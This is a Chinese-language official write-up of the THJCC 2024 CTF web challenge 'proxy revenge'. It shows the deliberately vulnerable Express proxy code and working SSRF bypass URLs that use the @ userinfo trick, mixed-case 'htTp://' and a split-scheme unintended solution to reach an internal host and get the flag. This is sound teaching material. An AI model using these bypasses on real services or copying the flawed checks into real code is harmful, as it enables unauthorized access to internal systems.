THJCC 2024 Winter：proxy revenge Official-Writeup

前言

上次打完 THJCC 後跑來當出題組，原本想說還好，但真正要出的時候才發現要控制難度有點困難。 (~~原本沒被 nerf 過的版本希望下次可以出 Revenge Revenge~~)

然後我忘記 subdomain 的 blog 是真的有東西的，所以原本那題 proxy 的出題者增加了許多~~曝光率~~瀏覽次數。

proxy revenge

source code

1
const express = require('express');
2
const http = require('http');
3
const https = require('https');
4
const path = require('path');
5

6
const app = express();
7
app.use(express.json());
8
app.use(express.static(path.join(__dirname, 'public')));
9

10
app.get('/', (req, res) => {
11
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
12
});
13

14
function CheckIfHttp(scheme) {
15
    return scheme.startsWith('http://');
16
}
17

18
app.get('/fetch', (req, res) => {
19
    const scheme = req.query.scheme;
20
    const host = req.query.host;
21
    const path = req.query.path;
22
    if (!scheme || !host || !path) {
23
        return res.status(400).send('Missing parameters');
24
    }
25
    const client = scheme.startsWith('https') ? https : http;
26
    const fixedhost = host + '.cggc.chummy.tw'; // oops, I forgot to change it
27

28
    if (CheckIfHttp(scheme)) {
29
        return res.send('Sorry, Only accepts https'); // pls no http :(
30
    }
31

32
    const url = scheme + fixedhost + path;
33
    console.log('[+] Fetching :', url);
34
    client.get(url, (response) => {
35
        let data = '';
36

37
        response.on('data', (chunk) => {
38
            data += chunk;
39
        });
40

41
        response.on('end', () => {
42
            res.send(data);
43
        });
44
    }).on('error', (err) => {
45
        console.error('Error: ', err.message);
46
        res.status(500).send('Failed to fetch data from the URL');
47
    });
48
});
49

50
app.listen(3000, '0.0.0.0', () => {
51
    console.log('Server running on http://0.0.0.0:3000');
52
});

題目說要你透過這個訪問 secret.flag.thjcc.tw 上網查一下就可以知道在沒有硬控制加上 / 的情況就可以用 @ 讓他訪問後面的網址像是 :

https://google.com@tusoar.tech↗ -> 會去 tusoar.tech
https://google.com/@tusoar.tech↗ -> 會去 google.com 然後他會把後面當路徑

好講回來題目，所以我們只需要給一個

1
http://cha-thjcc.scint.org:10068/fetch?scheme=https://&host=blog&path=@secret.flag.thjcc.tw

基本來說就可以訪問，但卻顯示

1
Failed to fetch data from the URL

去本地看一下錯誤訊息就會知道

1
web-1                   | TypeError [ERR_INVALID_PROTOCOL]: Protocol "https:" not supported. Expected "http:"
2
web-1                   |     at new NodeError (node:internal/errors:372:5)
3
web-1                   |     at new ClientRequest (node:_http_client:164:11)
4
web-1                   |     at request (node:http:96:10)
5
web-1                   |     at Object.get (node:http:107:15)
6
web-1                   |     at /app/app.js:32:10
7
web-1                   |     at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
8
web-1                   |     at next (/app/node_modules/express/lib/router/route.js:149:13)
9
web-1                   |     at Route.dispatch (/app/node_modules/express/lib/router/route.js:119:3)
10
web-1                   |     at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
11
web-1                   |     at /app/node_modules/express/lib/router/index.js:284:15

原來是沒有支援 https，但題目今天給了個檢查

1
function CheckIfHttp(scheme) {
2
    return scheme.startsWith('http://');
3
}

但這其實很好繞，~~又是老梗的檢查大小寫問題~~

1
http://cha-thjcc.scint.org:10068/fetch?scheme=htTp://&host=blog&path=@secret.flag.thjcc.tw

FLAG : THJCC{N0…K42E 5En5171v17Y 12 RE4LLY 1Mp0R74n7.}

Unintended Solution

由於我在檢查時使用了
scheme.startsWith('http://');
而不是 scheme.startsWith('http');
所以 @legendyang 也利用拼回去的方式解出這題

1
http://cha-thjcc.scint.org:10068/fetch?scheme=http&host=://sec&path=@secret.flag.thjcc.tw:80/

這樣也可以拿到 FLAG

Thanks for reading!

THJCC 2024 Winter：proxy revenge Official-Writeup

周日 12月 15 2024

552 字 · 4 分鐘

ctfs thjcc official-writeup